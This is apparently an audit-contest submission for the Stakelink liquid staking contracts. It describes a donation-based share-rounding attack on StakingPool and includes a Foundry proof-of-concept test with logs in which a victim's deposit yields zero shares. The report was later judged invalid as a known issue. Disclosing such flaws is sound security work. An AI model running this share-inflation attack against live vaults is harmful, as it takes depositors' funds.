Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: medium
Invalid

Attacker Advantage through Share Rounding Exploit in Staking Pool Contracts

Summary

The StakingPool contract that allows an attacker to exploit rounding errors during the donation process. By leveraging this vulnerability, an attacker can effectively claim a disproportionate amount of shares in the staking pool, thereby preventing legitimate users from earning rewards from their deposits.

Vulnerability Details

The vulnerability stems from the following functions within the StakingRewardsPool contract:

  • getSharesByStake(uint256 _amount): This function computes the shares that correspond to a given token amount, which performs integer division during its calculation. A rounding error occurs when the total staked tokens are disproportionately increased through a donation, causing new deposits to receive fewer or zero shares due to this imbalance.

https://github.com/Cyfrin/2024-09-stakelink/blob/f5824f9ad67058b24a2c08494e51ddd7efdbb90b/contracts/core/base/StakingRewardsPool.sol#L79C1-L86C6

function getSharesByStake(uint256 _amount) public view returns (uint256) {
uint256 totalStaked = _totalStaked();
if (totalStaked == 0) {
return _amount;
} else {
@>> return (_amount * totalShares) / totalStaked;
}
}
  • getStakeByShares(uint256 _amount): Similarly, it calculates the token amount for a given share count. This rounding effect is exacerbated when the donate function is exploited because it increases the totalStaked without minting equivalent new shares.

https://github.com/Cyfrin/2024-09-stakelink/blob/f5824f9ad67058b24a2c08494e51ddd7efdbb90b/contracts/core/base/StakingRewardsPool.sol#L93C1-L99C6

function getStakeByShares(uint256 _amount) public view returns (uint256) {
if (totalShares == 0) {
return _amount;
} else {
@>> return (_amount * _totalStaked()) / totalShares;
}
}

An attacker can execute the following sequence to exploit this:

  1. Initiate a minimal deposit that covers the DEAD_SHARES to set an initial position within the pool.

  2. Perform a large token donation to skew the ratio of totalStaked to totalShares.

  3. Subsequent deposits by legitimate users result in zero or minimal shares due to rounding effects, causing them to miss out on rewards.

Impact

  • Legitimate users' deposits become ineffectual because they receive insufficient shares, or No shares.

  • The attacker, by securing the majority of shares, effectively monopolizes future reward distributions.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "../lib/forge-std/src/Test.sol";
import "../contracts/core/priorityPool/PriorityPool.sol";
import "../contracts/core/priorityPool/WithdrawalPool.sol";
import "../contracts/core/StakingPool.sol";
import "./MockERC20.sol";
import "./SDLPoolMock.sol";
import "./StrategyMock.sol";
contract PriorityPoolTest is Test {
PriorityPool public priorityPool;
PriorityPool public logic;
ERC1967Proxy public priorityPoolproxy;
ERC1967Proxy public withdrawalPoolproxy;
ERC1967Proxy public stakingPoolProxy;
ERC1967Proxy public strategyMockProxy;
MockERC20 public mockToken;
WithdrawalPool public withdrawalPool;
StakingPool public stakingPool;
SDLPoolMock public sdlPool;
StrategyMock public strategyMock;
address public user = address(25);
address public attacker = address(42);
address public feeReceiver1 = address(0xBEE1);
address public feeReceiver2 = address(0xBEE2);
uint256 public unusedDepositLimit = 5 ether;
function setUp() public {
mockToken = new MockERC20("Mock Token", "MOCK", 1000000 ether);
sdlPool = new SDLPoolMock();
logic = new PriorityPool(); // Deploy the implementation contract
// Define the fees
StakingPool.Fee[] memory fees = new StakingPool.Fee[]();
fees[0] = StakingPool.Fee({receiver: feeReceiver1, basisPoints: 100});
fees[1] = StakingPool.Fee({receiver: feeReceiver2, basisPoints: 200});
WithdrawalPool withdrawalPoolLogic = new WithdrawalPool();
StakingPool stakingPoolLogic = new StakingPool();
StrategyMock strategyMockLogic = new StrategyMock();
stakingPoolProxy = new ERC1967Proxy(
address(stakingPoolLogic),
abi.encodeWithSelector(
StakingPool.initialize.selector,
address(mockToken), // Mock ERC20 token address
"stakingToken",
"SKT",
fees, // _fees
unusedDepositLimit // _unusedDepositLimit
)
);
stakingPool = StakingPool(address(stakingPoolProxy));
strategyMockProxy = new ERC1967Proxy(
address(strategyMockLogic),
abi.encodeWithSelector(
StrategyMock.initialize.selector ,
address(mockToken),
address(stakingPool),
10000000 ether,
5 ether
)
);
strategyMock = StrategyMock(address(strategyMockProxy));
// Deploy proxy with initialize function
priorityPoolproxy = new ERC1967Proxy(
address(logic),
abi.encodeWithSelector(
PriorityPool.initialize.selector,
address(mockToken), // Mock ERC20 token address
stakingPool,
sdlPool,
uint128(1 ether), // queueDepositMin
uint128(10 ether) // queueDepositMax
)
);
// Cast the proxy to PriorityPool
priorityPool = PriorityPool(address(priorityPoolproxy));
withdrawalPoolproxy = new ERC1967Proxy(
address(withdrawalPoolLogic),
abi.encodeWithSelector(
WithdrawalPool.initialize.selector,
address(mockToken), // Mock ERC20 token address
address(stakingPool),
address(priorityPool),
uint256(1 ether), // min withdraw
uint64(1000) // time between withdrawals
)
);
withdrawalPool = WithdrawalPool(address(withdrawalPoolproxy));
// Set Withdrawal Pool
priorityPool.setWithdrawalPool(address(withdrawalPool));
stakingPool.addStrategy(address(strategyMock));
stakingPool.setPriorityPool(address(priorityPool));
}
function logUserStats(address _user, string memory _tag) internal {
console.log("");
console.log(_tag);
console.log("User Address : ", address(_user));
console.log("Staking share BalanceOf: ", stakingPool.balanceOf(_user));
}
function testShareRateRoundingError() public {
uint256 initialBalance = mockToken.balanceOf(user);
// Transfer some tokens to user
mockToken.transfer(user, 100000 ether);
mockToken.transfer(attacker, 100000 ether);
// Approve PriorityPool to spend user's tokens
vm.startPrank(user);
mockToken.approve(address(priorityPool), 100 ether);
vm.stopPrank();
//Approve PriorityPool and stakingPool to spend attackers tokens
vm.startPrank(attacker);
mockToken.approve(address(priorityPool), 100 ether);
mockToken.approve(address(stakingPool), 10000 ether);
// Attack
//stakingPool.donateTokens(1);
// Deposit tokens into the PriorityPool
priorityPool.deposit(2000, true, new bytes[](2));
logUserStats(attacker, "Attacker Balance first stake");
// Attack
stakingPool.donateTokens(10000 ether);
vm.stopPrank();
vm.startPrank(user);
priorityPool.deposit(1 ether, true, new bytes[](2));
logUserStats(user, "User balance after stake" );
logUserStats(attacker, "Attacker Balance after ");
vm.stopPrank();
}
}

Logs

[PASS] testShareRateRoundingError() (gas: 444854)
Logs:
Attacker Balance first stake
User Address : 0x000000000000000000000000000000000000002A
Staking share BalanceOf: 1000
User balance after stake
User Address : 0x0000000000000000000000000000000000000019
Staking share BalanceOf: 0
Attacker Balance after
User Address : 0x000000000000000000000000000000000000002A
Staking share BalanceOf: 5000500000000000001000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.90ms (1.23ms CPU time)

Tools Used

Foundry

Recommendations

Modify the getSharesByStake and getStakeByShares functions to implement more precise calculation methods.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

donateTokens() allows a malicious user to manipulate the system in such a way that users may receive 0 shares.

Appeal created

galturok Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] Donation Attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.